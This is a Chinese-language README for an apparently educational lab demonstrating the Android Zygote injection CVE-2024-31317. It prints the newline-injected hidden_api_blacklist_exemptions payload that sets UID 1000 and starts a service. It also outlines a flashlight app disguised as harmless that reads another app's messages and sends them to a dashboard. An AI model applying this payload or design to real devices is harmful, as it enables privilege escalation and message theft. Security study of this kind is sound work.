CVE-2024-31317 Zygote注入漏洞在Android上的教学演示
本实验室演示了 CVE-2024-31317,这是一个严重的 Android 漏洞,允许恶意应用将权限提升至 SYSTEM 级别 (UID 1000),并绕过 Android 沙箱实时读取其他应用的数据。
| 阶段 | 描述 | 图示 |
|---|---|---|
| 1 | 用户安装看似无害的“Flashlight Pro”应用 | 🔦 |
| 2 | 应用利用 CVE-2024-31317 获取 SYSTEM 访问权限 | 💉 |
| 3 | SYSTEM 级服务读取“SecureChat”消息 | 👁️ |
| 4 | 被盗消息显示在实时仪表盘上 | 📊 |
ZygoteExploitDemo/
├── 📱 apps/
│ ├── SecureChat/ # 受害者应用 (Jetpack Compose)
│ │ ├── 存储在 SQLite 中的加密消息
│ │ └── 模拟 WhatsApp 风格的加密
│ │
│ ├── FlashlightPro/ # 包含漏洞利用的恶意应用
│ │ ├── 正常的手电筒 UI (干扰项)
│ │ ├── 后台漏洞利用服务
│ │ └── WRITE_SECURE_SETTINGS 权限
│ │
│ └── MonitorService/ # SYSTEM 级读取器
│ ├── 漏洞利用后以 UID 1000 运行
│ ├── 读取 SecureChat 数据库
│ └── 将数据外泄至仪表盘
│
├── 📊 dashboard/ # Flask Web 仪表盘
│ └── app.py # 实时显示被盗消息
│
├── 📜 scripts/ # 自动化脚本
│ ├── setup_vulnerable_emulator.sh
│ ├── build_all_apps.sh
│ ├── install_all_apps.sh
│ ├── run_exploit.py
│ └── monitor_logs.sh
│
├── 🎯 exploits/ # 漏洞利用信息
│ ├── CVE-2024-31317.md
│ └── payloads.txt
│
└── 📁 tamplates/ # 代码模板
├── exploit_template.java
└── dashboard_template.html
CVE-2024-31317 存在于 Android Zygote 进程处理 hidden_api_blacklist_exemptions 系统设置的方式中。由于缺少输入清理,攻击者可以注入换行符以向 Zygote 命令添加任意参数。
攻击向量:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // 以 SYSTEM 身份运行
"--setgid=1000\n" + // 以 SYSTEM 组身份运行
"--invoke-with\n" +
"am start-service ...;\n"
);
| 版本 | 状态 |
|---|---|
| Android 9 - 14 | ❌ 易受攻击(2024年6月补丁之前) |
| Android 14+ | ✅ 已修复(2024年6月安全更新) |
| Android 15+ | ✅ 安全 |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# 启动模拟器
emulator -avd vulnerable_android_12
# 在新终端中
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
📱 在浏览器中打开 http://localhost:5000
cd ../scripts
python3 run_exploit.py
🎬 演示视频即将推出
WRITE_SECURE_SETTINGS 权限/data/data/com.securechat/databases/ 中的数据库欢迎贡献!请:
可贡献的领域:
MIT 许可证 - 详见 LICENSE 文件
Aman - @GitAmanS
如果您觉得本演示具有教育意义,请给它一个星标!⭐
由安全研究员为安全研究员制作
记住:能力越大,责任越大 🕷️